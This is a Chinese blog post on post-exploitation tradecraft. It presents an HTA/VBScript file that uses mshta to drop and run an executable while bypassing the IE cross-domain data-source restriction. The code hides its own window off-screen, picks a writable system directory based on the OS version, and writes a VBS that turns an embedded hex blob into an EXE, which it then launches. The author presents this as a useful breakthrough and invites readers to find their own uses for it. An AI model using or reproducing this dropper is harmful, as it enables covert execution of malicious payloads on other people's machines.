利用mshta当 下载者 并绕过 安全设置策略 禁止访问其它域数据源

网络技术

以前看三好学生的文章《渗透技巧-从github下载文件的多种方法》,里边提到过用mshta下载文件的递进方法。无论他的hta代码用VBS还是powershell,都无法做到完美下载执行,会弹框提示此计算机上的安全设置禁止访问其它域的数据源,如下图:

用mshta下载文件时,绕过计算机上安全设置禁止访问其它域数据源

如果要做到正常下载,需要改动ie浏览器的安全设置,如下图所示:

用mshta下载文件时,绕过计算机上安全设置禁止访问其它域数据源

增加了可信任站点后,找到通过域访问数据源,选择启用,如下图:

用mshta下载文件时,绕过计算机上安全设置禁止访问其它域数据源

这个方法经过如此改动后,并不能用于后渗透当中,你很难在后渗透当中的命令行里做上图所示的改动。


其实用mshta下载文件时,我们换个思路,用hta来找到当前系统可写目录,然后生成vbs,用生成的vbs并且转换下载文件的16进制或base64进制,然后再用这个vbs来执行,就会完美绕过mshta里的当前域限制了。这个写法我一度想报告给微软,这是一个突破,但后来又懒了,也不明白流程,就算了。具体代码如下:



<HTML>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<HEAD>

<script language="VBScript">

Window.ReSizeTo 0, 0

Window.moveTo -2000,-2000 '让hta框不可见

Function os()

strComputer = "."

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2")

Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")

For Each objOperatingSystem In colOperatingSystems

path= objOperatingSystem.Caption

Next

os=path

End Function

newpath="C:\ProgramData\"

If InStrRev(os(),"10",-1,1)<>0 then

newpath="C:\ProgramData\"

End If

If InStrRev(os(),"7",-1,1)<>0 then

newpath="C:\ProgramData\Microsoft\Windows\DRM\"

End If

If InStrRev(os(),"xp",-1,1)<>0 then

newpath="C:\docume~1\alluse~1\"

End If

If InStrRev(os(),"2003",-1,1)<>0 then

newpath="C:\docume~1\alluse~1\"

End If

'以上判断系统来找到当前用户可写目录

Set Fso=CreateObject("Scripting.FileSystemObject")

Set ws = CreateObject("Wscript.Shell")

Set wf=fso.OpenTextFile(newpath&"dell.vbs",2, True)

wf.write "fp="""&newpath&"0day_test.exe"":set fs=CreateObject(""
Scripting.FileSystemObject""):set ws= Createobject(""WScript.Shell""):ss=""4D5A700…exe文件的16进制…省略好多hex"":Set RS = CreateObject(""ADODB.Recordset""):L = Len(ss) / 2:RS.Fields.Append ""m"", 205, L:RS.Open:RS.AddNew:RS(""m"") = ss & ChrB(0):RS.Update:ss = RS(""m"").GetChunk(L):Set s = CreateObject(""ADODB.Stream""):With s: .Mode = 3:.Type = 1:.Open:.Write ss:.SaveToFile fp, 2:End With:ws.run fp"

wf.close

Set wf=Nothing

‘生成dell.vbs,再用dell.vbs来转换hex为二进制的exe

set objShellApp=CreateObject("Shell.Application")

If (fso.FileExists(newpath&"dell.vbs")) Then

Set objFolder = objShellApp.NameSpace(newpath)

objFolder.Items().item("dell.vbs").invokeverb

end If

self.close

’运行这个exe

</script>

<body>

demo

</body>

</HEAD>

</HTML>


里边的具体代码,你可以看我图中的hta下载地址,你只需要下载后改动里边的16进制就可以了。这段代码我只测试过win10和2003。


用处很大!可用的地方也很多!!!!自行思考!!!!!

« 上一篇下一篇 »